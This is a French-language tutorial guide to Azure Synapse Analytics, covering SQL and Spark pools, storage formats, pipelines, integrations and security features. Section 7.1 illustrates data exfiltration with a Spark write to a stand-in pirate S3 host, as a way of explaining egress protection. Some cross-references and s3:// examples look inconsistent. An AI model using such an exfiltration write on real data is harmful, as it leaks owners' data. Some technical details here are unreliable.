Project Oxygen & Ideo-LabIDEO LAB Dashboard 2026

📈 Azure Synapse Analytics

Guide complet IDEO-Lab sur la plateforme "Data + AI" (Spark, SQL Pools, Lakehouse).

1.1

Concept : Plateforme Unifiée

Azure. Data Warehouse (SQL) + Big Data (Spark) + ETL (Pipelines).

Synapse Azure Lakehouse
1.2

Architecture (Workspace)

Synapse Studio, Pools (Compute), ADLS Gen2 (Stockage).

Workspace ADLS Gen2
1.3

vs. Databricks / Snowflake

SQL (Snowflake) vs Spark (Databricks) vs Hybride (Synapse).

Databricks Snowflake
2.1

SQL Pool 1 : Dédié (DWH)

Le Data Warehouse (MPP). (Ancien : SQL DW). Provisionné.

Dedicated SQL Pool MPP
2.2

Archi (Dédié) : MPP

Control Node (Cerveau) vs Compute Nodes (Muscle).

MPP Control Node
2.3

Archi (Dédié) : Distribution

HASH (Clé), ROUND_ROBIN, REPLICATE.

Distribution HASH
3.1

SQL Pool 2 : Serverless

Requêtes "On-Demand" (Pay-per-query) sur le Data Lake (S3/ADLS).

Serverless SQL On-Demand
3.2

Compute : Apache Spark Pool

Le "Databricks" de Synapse. Notebooks (PySpark, C#).

Apache Spark Notebooks
3.3

SQL : Dédié vs Serverless

Données "Chaudes" (Dédié) vs "Froides" (Serverless).

Dédié Serverless
4.1

Stockage : ADLS Gen2

Azure Data Lake Storage. Le "Data Lake" (stockage 1aire).

ADLS Gen2 Data Lake
4.2

Format : Delta Lake

ACID sur le Data Lake. (Lecture/Écriture par Spark & SQL).

Delta Lake ACID
4.3

Format : Parquet / CSV / JSON

Formats ouverts (supportés par Serverless SQL).

Parquet CSV
5.1

ETL : Synapse Pipelines

L'orchestrateur (Intégration Azure Data Factory (ADF)).

Synapse Pipelines ADF ETL
5.2

Pipelines : Activités (Activities)

Copy data (Simple) vs Data flow (Spark visuel).

Copy Activity Data Flow
5.3

Pipelines : Triggers (Déclencheurs)

Schedule (Temps), Tumbling Window, Event (Stockage).

Triggers Schedule
6.1

Outil : Synapse Studio

L'interface Web unifiée (Data, Develop, Integrate...).

Synapse Studio Web UI
6.2

Intégration : Power BI

Intégration native (BI & Reporting).

Power BI BI
6.3

Intégration : Azure Purview

Gouvernance, Data Catalog, Data Lineage.

Azure Purview Gouvernance
7.1

Sécurité : Managed VNet

Workspace sécurisé, Data Exfiltration Protection.

Managed VNet Sécurité
7.2

Sécurité : SQL

GRANT/DENY, Row-Level Security (RLS), Dynamic Data Masking.

GRANT RLS
7.3

Cheat-sheet : PolyBase (SQL)

OPENROWSET, CREATE EXTERNAL TABLE.

Cheatsheet OPENROWSET
1.1 Concept : Plateforme Analytique Unifiée
Qu'est-ce qu'Azure Synapse Analytics ?

Azure Synapse Analytics est une plateforme analytique (PaaS) "limitless" (sans limites) sur Azure. C'est la réponse de Microsoft à l'architecture "Lakehouse" (3.2).

Son objectif est d'unifier (dans une seule interface : "Synapse Studio") tous les aspects de l'analyse de données :

  • Data Warehousing (BI) : (Comme Snowflake/Redshift) via les SQL Pools (Dédiés ou Serverless).
  • Big Data (Data Science) : (Comme Databricks) via les Apache Spark Pools.
  • ETL/ELT (Intégration) : (Comme Azure Data Factory) via les Synapse Pipelines.
  • Stockage (Data Lake) : Intégration native avec Azure Data Lake Storage (ADLS Gen2).
1.2 Architecture (Synapse Workspace)

L'architecture de Synapse (similaire à Databricks) sépare le "Control Plane" (managé) du "Data Plane" (le compute/stockage client).

+------------------------------------------+
| [ AZURE (Control Plane) ]                | (Managé par Microsoft)
|                                          |
| +--------------------------------------+ |
| | [ Synapse Studio (Web UI) ]          | |
| | (Develop, Integrate, Monitor, Manage)| |
| +--------------------------------------+ |
+------------------------------------------+
       │
       │ (Commandes : "Lancer Job", "Créer Pool")
       │
       ▼
+------------------------------------------+
| [ VOTRE VPC/VNet AZURE (Data Plane) ]    |
|                                          |
| +------------+  +-------------+  +-------------+
| | SQL Pool   |  | Spark Pool  |  | SQL Pool    |
| | (Dédié)    |  | (Spark)     |  | (Serverless)|
| +------------+  +-------------+  +-------------+
|    (Compute)        (Compute)        (Compute)
|       │                │                │
|       └─────────(Lit/Écrit)─────────────┘
|                        │
|                        ▼
| +---------------------------------------------+
| | Stockage : ADLS Gen2 (Data Lake)            |
| | (Fichiers : Delta, Parquet, CSV)            |
| +---------------------------------------------+
+------------------------------------------+
  • Synapse Workspace / Studio (6.1) : Le "Control Plane" (SaaS). L'interface web unifiée.
  • Pools (Compute) (2.x, 3.x) : Les moteurs de calcul (SQL ou Spark) qui tournent (en PaaS/VMs) dans votre souscription.
  • Stockage (ADLS Gen2) (4.1) : Le "Data Lake" (votre compte de stockage) où les données (Delta, Parquet) sont stockées.
1.3 Comparaison : Synapse vs. Databricks vs. Snowflake

Synapse essaie d'être à la fois Databricks (Spark) et Snowflake (SQL) dans un seul produit.

CritèreAzure SynapseDatabricksSnowflake
Focus PrincipalHybride (SQL + Spark). Plateforme "tout-en-un" Azure.Spark & AI/ML (Python/Scala).SQL Analytique (BI).
Moteur SQLMPP (SQL DW) & Serverless (Dremel-like)Databricks SQL (Photon)Moteur SQL propriétaire (optimisé).
Moteur SparkApache Spark Pool (Managé)Apache Spark (Optimisé) (Par les créateurs).Snowpark (Traduit Python/Java en SQL).
Format (Lake)Supporte Delta Lake (Lecture/Écriture)Crée Delta Lake (Standard ouvert)Propriétaire (Format interne).
GouvernanceAzure Purview (Externe)Unity Catalog (Intégré)Intégré (RBAC, SQL Grant).
2.1 SQL Pool 1 : Dédié (Provisioned DWH)

Le Dedicated SQL Pool (Pool SQL Dédié) est le Data Warehouse (DWH) "classique" (provisionné) de Synapse. (C'est l'évolution d'"Azure SQL Data Warehouse").

Architecture : MPP (Massively Parallel Processing) (Voir 2.2). (Similaire à Redshift).

Caractéristiques
  • Stockage : Stockage Couplé (Colonnaire) géré par le DWH (pas directement sur le Data Lake). (Sauf si "RA3" de Redshift).
  • Compute (Provisionné) : Vous réservez (provisionnez) une puissance de calcul fixe, mesurée en DWU (Data Warehouse Units) (ex: DW100c, DW1000c).
  • Facturation : Vous payez à l'heure ($/heure) tant que le pool est actif (non-paué).
  • Pause (Suspend) : Vous pouvez (et devez) mettre en pause le pool (via l'UI ou l'API) lorsque vous ne l'utilisez pas (ex: la nuit) pour arrêter la facturation du Compute. (Le stockage est toujours facturé).
2.2 Archi (Dédié) : MPP (Control/Compute Nodes)

Le SQL Pool Dédié utilise une architecture MPP (Massively Parallel Processing) (similaire à Redshift).

(Client SQL / Power BI)
       │
       │ (Connexion SQL, Port 1433)
       ▼
[ 1. CONTROL NODE ] (1 Nœud)
   (Le "Cerveau" : Moteur SQL, Optimizer)
   (Ne stocke pas de données utilisateur)
   │
   │ (Distribue le plan d'exécution parallèle)
   │
   ├────────► [ 2. COMPUTE NODE 1 ] (Le "Muscle")
   │            (Stocke/Exécute 1/N des données)
   │
   ├────────► [ 2. COMPUTE NODE 2 ] (Le "Muscle")
   │            (Stocke/Exécute 1/N des données)
   ...
   │
   └────────► [ 2. COMPUTE NODE 'N' ]
  • Control Node (Nœud de Contrôle) : (1) Reçoit la requête SQL, l'optimise (plan d'exécution), et la distribue (en parallèle) aux Nœuds Compute.
  • Compute Nodes (Nœuds de Calcul) : (1 à 60) Les "workers". Ils stockent (localement) les données (distribuées) et exécutent les requêtes sur leur "morceau" de données.
2.3 Archi (Dédié) : Distribution (DISTRIBUTION)

C'est le choix d'optimisation (admin) le plus important (similaire au DISTKEY (3.2) de Redshift). Il définit comment les lignes sont réparties entre les Nœuds de Calcul (Compute Nodes).

CREATE TABLE ma_table ( ... )
WITH (
    DISTRIBUTION = HASH(user_id)
);
DistributionDescriptionUsage
HASH (colonne)(Hash) Distribue basé sur le hash d'une colonne. (Toutes les lignes "User_A" vont sur le Nœud 1).(Meilleur) Tables de Faits (Fact) et Dimensions (Dim) larges. Utiliser la clé de JOIN (ex: user_id).
ROUND_ROBIN(Défaut) Distribue les lignes "tourniquet" (1-2-3-1-2-3).Tables Staging (temporaires), ou sans clé de JOIN évidente.
REPLICATEDupliquer. Met une copie complète de la table sur chaque Compute Node.Petites tables de Dimensions (ex: dim_pays) (< 2 Go).
Optimisation (HASH)

Si Fact_Ventes et Dim_Users sont DISTRIBUTION = HASH(user_id), les lignes de "Bob" (Ventes et User) sont colocalisées (sur le même Nœud Compute). Le JOIN est local (rapide) et évite le "Data Movement" (Shuffle) (lent).

3.1 SQL Pool 2 : Serverless (On-Demand)

Le Serverless SQL Pool est le moteur de requête "à la demande" de Synapse. C'est l'équivalent de Redshift Spectrum (4.1) ou BigQuery On-Demand (4.2).

Fonctionnement (Query-in-Place)

Il n'y a pas de cluster à provisionner (zéro DWU). Le pool est "toujours prêt" (Serverless).

Il est conçu uniquement pour lire (SELECT) des données directement depuis le Data Lake (ADLS Gen2 / S3).

Tarification (Pay-per-Query)

Vous ne payez pas au temps, vous payez (comme BigQuery) par Téraoctet (To) de données scannées (lues) sur le Data Lake.

Syntaxe (OPENROWSET)

On utilise la commande T-SQL OPENROWSET pour lire les fichiers (Parquet, Delta, CSV) du Data Lake.

SELECT TOP 10 *
FROM
    OPENROWSET(
        BULK 'https://monlake.blob.core.windows.net/data/logs/*.parquet',
        FORMAT = 'PARQUET'
    ) AS [resultat]

Usage : Exploration (Data Science), requêtes Ad-hoc, BI sur données "froides" (non-critiques).

3.2 Compute : Apache Spark Pool

Le Apache Spark Pool est le "concurrent" de Databricks, intégré dans Synapse. C'est un cluster Spark (Managé) à la demande.

Usage (Data Engineering & Data Science)

Utilisé pour la logique complexe (non-SQL) :

  • Data Engineering (ETL) : Transformations de données complexes (PySpark, Spark Scala).
  • Data Science (ML) : Entraînement de modèles (MLlib, Scikit-learn) sur des données (Delta Lake).
Fonctionnement (Notebooks)

L'interface principale est le Synapse Notebook (5.2).

  • Vous créez un "Spark Pool" (ex: "Pool-Spark-Medium").
  • Vous configurez l'Auto-scale (ex: 3 à 10 nœuds) et l'Auto-pause (ex: 15 min d'inactivité).
  • Vous attachez votre Notebook au Pool et exécutez du code (PySpark, C#, Spark SQL).
3.3 SQL : Dédié vs Serverless (Quand utiliser ?)
CritèreSQL Pool Dédié (DWH/MPP)SQL Pool Serverless (On-Demand)
ObjectifBI/Reporting (Haute Performance).Exploration (Ad-hoc), Data Lake.
Données ("Chaleur")Données "Chaudes" (Hot). (Stockage DWH).Données "Froides" / "Tièdes" (Cold/Warm) (Stockage ADLS).
Modèle de CoûtProvisionné (Fixe) : $/Heure (que vous requêtiez ou non)."Pay-per-Query" (Variable) : $/To Scanné.
PerformanceTrès élevée (Stable, garantie par les DWU).Variable (dépend des fichiers S3/Parquet).
Cas d'UsageDashboard Power BI (Production) sur la table "Ventes".Requête d'analyste (Exploration) sur les "Logs JSON" de 2024.
Syntaxe (Lecture)SELECT * FROM ma_table_interneSELECT * FROM OPENROWSET(...)
4.1 Stockage : ADLS Gen2 (Data Lake)

ADLS Gen2 (Azure Data Lake Storage Gen2) est le service de stockage (Data Lake) d'Azure. C'est la fondation de stockage pour tout Synapse (et Databricks sur Azure).

(Azure Blob + HDFS)

ADLS Gen2 est (essentiellement) Azure Blob Storage (Stockage Objet, équiv. S3) AVEC un "Namespace Hiérarchique" (HDFS) activé.

  • Stockage Objet (Blob) : (Scalabilité/Coût S3).
  • Namespace Hiérarchique (HDFS) : Permet de gérer des dossiers (directories) atomiques (important pour Spark/Hadoop).
Rôle dans Synapse

ADLS Gen2 (votre compte de stockage) est le stockage principal (primaire) du Workspace Synapse. C'est là que :

  • Les Spark Pools lisent et écrivent leurs données (Delta Lake, Parquet).
  • Les Serverless SQL Pools lisent les données (via OPENROWSET).
  • (Optionnel) Les Dedicated SQL Pools peuvent lire (via COPY ou PolyBase).
4.2 Format : Delta Lake (Le "Lakehouse")

Delta Lake (voir guide Databricks 3.3) est un format de stockage (storage layer) open-source (basé sur Parquet + Logs JSON) qui apporte les garanties ACID (fiabilité) au Data Lake (ADLS/S3).

Support (Synapse)

Synapse (contrairement à Snowflake/Redshift) a un support natif (Lecture/Écriture) pour Delta Lake, ce qui permet l'interopérabilité (Lakehouse).

Spark Pool (Lecture/Écriture)

(PySpark) C'est le support natif (identique à Databricks).

# (Lecture)
df = spark.read.format("delta").load("abfss://...")

# (Écriture)
df.write.format("delta").mode("overwrite").save("abfss://...")
Serverless SQL Pool (Lecture/Écriture)

(T-SQL) Permet de requêter (SQL) des tables Delta directement (via OPENROWSET).

-- (Lecture)
SELECT * FROM
    OPENROWSET(
        BULK 's3://.../my_delta_table/',
        FORMAT = 'DELTA'
    ) AS [result]
    
-- (Écriture) (Nécessite CETAS)
CREATE EXTERNAL TABLE ...
AS SELECT * FROM ...
4.3 Format : Apache Parquet (Colonnaire)

Apache Parquet (voir guide BigQuery 3.2, Redshift 3.1) est le format de fichier (File Format) colonnaire, open-source, standard de l'écosystème Big Data (Hadoop, Spark).

Avantages (vs CSV/JSON)
  • Stockage Colonnaire : (Optimisé OLAP) Extrêmement rapide pour les requêtes analytiques (SELECT, AVG) car il ne lit que les colonnes nécessaires (évite les I/O inutiles).
  • Compression : Très haute compression (Snappy, Gzip). (Réduit les coûts de stockage S3/ADLS).
  • Schéma (Auto-descriptif) : Le schéma (colonnes, types) est embarqué dans le fichier. (spark.read.parquet() n'a pas besoin de schema).

Usage : C'est le format "socle". Delta Lake (4.2) est (essentiellement) des fichiers Parquet + un Log JSON (ACID).

5.1 ETL : Synapse Pipelines (Azure Data Factory)

Synapse Pipelines (onglet "Integrate" de Synapse Studio) est l'orchestrateur ETL/ELT de Synapse.

C'est Azure Data Factory (ADF)

Ce n'est pas un nouvel outil. C'est (littéralement) Azure Data Factory (ADF) intégré dans l'interface Synapse Studio.

Usage (Orchestration)

Permet de créer, planifier (scheduler), et monitorer des pipelines (DAGs) de données.

Exemple (Pipeline Nocturne) :

1. [Trigger] (Se lance à 2h00)
   │
   ▼
2. [Activité: Copy Data] (Copie les CSV de SFTP -> S3/ADLS (Bronze))
   │
   ▼ (Si Succès)
3. [Activité: Notebook] (Lance un Notebook Spark (3.2)
   │                    pour transformer Bronze -> Silver)
   │
   ▼ (Si Succès)
4. [Activité: Stored Proc] (Lance une Stored Proc (SQL Dédié)
                            pour agréger Silver -> Gold)
5.2 Pipelines : Activités (Copy vs Data Flow)

Les "Activités" (Activities) sont les "briques" (tâches) d'un pipeline.

Copy Activity (Activité de Copie)

(ELT - Extract-Load-Transform)

C'est une activité de "déplacement" (binaire) très rapide et scalable. Elle ne fait pas de transformation complexe.

Usage : "Prendre (E) 1000 fichiers CSV d'un SFTP, et les charger (L) (copier) tels quels dans le Data Lake (ADLS/S3)". (La transformation (T) se fera *après*, par Spark ou SQL).

Mapping Data Flow (Flux de Données)

(ETL - Extract-Transform-Load)

C'est un outil de ETL visuel (no-code) (similaire à Talend/Informatica) intégré à Synapse.

Flux : L'utilisateur (via GUI) "dessine" un flux (Source -> Join -> Aggregate -> Pivot -> Sink).

Exécution : Synapse (ADF) traduit ce graphe visuel en code Apache Spark (PySpark) optimisé, et l'exécute sur un Spark Pool (3.2).

Usage : Transformations complexes (Jointures, Agrégations) "à la volée" (In-flight) sans écrire de code Spark.

5.3 Pipelines : Triggers (Déclencheurs)

Un "Trigger" (Déclencheur) est ce qui lance (exécute) un Pipeline.

TypeDescriptionExemple
Schedule (Planifié)(Similaire à Cron) Basé sur le temps (calendrier)."Tous les jours à 2h00 du matin."
Tumbling Window(Batchs) Fenêtre glissante (intervalles fixes)."Toutes les 15 minutes, traite les données des 15 dernières minutes (ex: 10:00-10:15, 10:15-10:30)."
Event (Événementiel)(Recommandé pour temps réel) Basé sur un événement (Storage)."Dès qu'un nouveau fichier (Blob) arrive dans le dossier 'Ingest' de l'ADLS."
Manual (Manuel)Clic (Trigger now) ou appel API.(Débogage).
6.1 Outil : Synapse Studio

Synapse Studio est l'interface Web (GUI) unifiée (le "guichet unique") pour toutes les "personas" Databricks.

Les 4 "Hubs" (Onglets)
  • Data (Données) : (Explorateur) Voir les données (Data Lake (ADLS), Bases SQL Dédiées, Bases Spark...).
  • Develop (Développer) : (L'IDE)
    • SQL Scripts (pour Serverless/Dédié)
    • Notebooks (pour Spark)
    • Data Flows (pour ETL Visuel)
  • Integrate (Intégrer) : (Azure Data Factory)
    • Pipelines (Orchestration, Copy)
  • Monitor (Moniteur) :
    • Statut des Pools (Spark/SQL), Exécutions de Pipelines (Jobs), Requêtes SQL.
  • Manage (Gérer) :
    • Création/Gestion des Pools (Compute), Sécurité (IAM), Git.
6.2 Intégration : Power BI

Synapse est conçu pour une intégration native avec Power BI (l'outil de BI/Reporting de Microsoft).

Flux de Connexion
  • DirectQuery (Défaut) : Power BI ne copie pas les données. Chaque "clic" (filtre) dans le dashboard Power BI envoie une requête SQL "live" (en temps réel) au Dedicated SQL Pool (2.1) ou au Serverless SQL Pool (3.1).
  • Import (Importation) : (Alternative) Power BI copie (importe) les données dans son propre moteur In-Memory (VertiPaq). (Rapide, mais données "statiques").
Intégration Studio

Le Synapse Studio (6.1) a un onglet "Visualize" qui permet de créer/éditer des rapports Power BI directement dans l'interface Synapse.

6.3 Intégration : Azure Purview (Gouvernance)

Azure Purview (récemment renommé Microsoft Purview) est le service de gouvernance de données (Data Governance) unifié d'Azure.

C'est l'équivalent d'Unity Catalog (4.1) de Databricks.

Intégration Synapse

Vous pouvez "connecter" votre Workspace Synapse à Purview. Purview va alors scanner (crawler) Synapse pour :

  • 1. Data Catalog (Catalogue) : Découvrir et indexer tous les assets (Tables SQL, Fichiers ADLS, Notebooks Spark, Pipelines...).
  • 2. Data Classification (Classification) : Détecter automatiquement les données sensibles (ex: "Numéro CB", "Email") (PII).
  • 3. Data Lineage (Lignage) : (Le plus important) Analyser les Synapse Pipelines (5.1) pour tracer automatiquement le flux de données (ex: Source S3 -> Data Flow -> Table SQL Dédiée).
7.1 Sécurité : Managed VNet & Data Exfiltration

Par défaut, les "Compute Pools" (Spark/SQL) de Synapse tournent sur le réseau public (partagé) d'Azure (accès via Internet).

Managed VNet (Réseau Managé)

C'est l'option de sécurité (recommandée) lors de la création du Workspace.

Action : Synapse provisionne un Réseau Virtuel (VNet) "managé" (dédié) pour ce Workspace. Tous les "Compute Pools" (Spark, SQL) tournent à l'intérieur de ce VNet isolé.

Data Exfiltration Protection (Protection exfiltration)

Problème : Un Notebook Spark (dans le VNet managé) peut-il faire df.write.parquet("s3://compte-pirate.com/...") ?

Solution : Si "Data Exfiltration Protection" (DEP) est activé, Synapse bloque (via pare-feu) toutes les connexions sortantes (Egress) du VNet managé, sauf vers des destinations approuvées (whitelisted) (ex: "uniquement notre ADLS Gen2").

7.2 Sécurité : SQL (ACL, RLS, Masking)

Synapse (SQL Pools) utilise T-SQL (standard Microsoft) pour la sécurité L7.

ACLs (Contrôle d'Accès)

Syntaxe T-SQL standard pour donner des permissions (Utilisateurs/Groupes AAD).

-- (Donne le droit de 'lire' (SELECT) la table)
GRANT SELECT ON [schema].[ma_table] TO [Groupe_BI];

-- (Refuse le droit de supprimer)
DENY DELETE ON [schema].[ma_table] TO [Groupe_Junior];
Row-Level Security (RLS) (Filtrage par Ligne)

Problème : L'équipe "France" et "Allemagne" partagent la même table "Ventes", mais ne doivent voir que leurs propres lignes.

Solution : RLS. C'est une politique de sécurité (Policy) qui ajoute automatiquement un filtre WHERE (invisible) à toutes les requêtes.

-- (Simplifié)
CREATE SECURITY POLICY ...
ADD FILTER PREDICATE ...
  (WHERE region_utilisateur() = [colonne_region])

-- (L'Analyste 'Bob' (France) exécute :)
SELECT * FROM Ventes;
-- (Redshift/Synapse exécute :)
SELECT * FROM Ventes WHERE [colonne_region] = 'France'
Dynamic Data Masking (Masquage)

Problème : L'Analyste (BI) doit pouvoir voir la colonne "Email", mais pas en clair (RGPD/PII).

Solution : Masquage dynamique (à la volée, sans modifier les données).

-- (Définit une fonction de masquage sur la colonne)
ALTER TABLE users
  ALTER COLUMN email ADD MASKED WITH (FUNCTION = 'email()')

-- (L'Analyste exécute :)
SELECT email FROM users;
-- (Résultat :)
aXXX@XXXX.com
7.3 Cheat-sheet : SQL (PolyBase)

Commandes T-SQL (PolyBase) clés pour l'ingestion et les requêtes externes (Data Lake).

OPENROWSET (Utilisé par SQL Serverless)

Lecture "Ad-hoc" (Query-in-place) de fichiers S3/ADLS.

SELECT
    *
FROM
    OPENROWSET(
        BULK 'https://monlake.blob.core.windows.net/data/logs/2025/*.parquet',
        FORMAT = 'PARQUET'
    )
    WITH (
        date_col DATE,
        message VARCHAR(100)
    ) AS [r]
WHERE r.message LIKE '%ERROR%';
CETAS (Create External Table As Select)

Inverse : Écrire (Exporter) des données (d'un SQL Pool) vers le Data Lake (S3/ADLS) au format Parquet.

CREATE EXTERNAL TABLE ma_table_s3
WITH (
    LOCATION = '/export/ma_table_s3/',
    DATA_SOURCE = MonDataLake,
    FILE_FORMAT = FormatParquet
)
AS
SELECT * FROM ma_table_interne_dwh; -- (Requête source)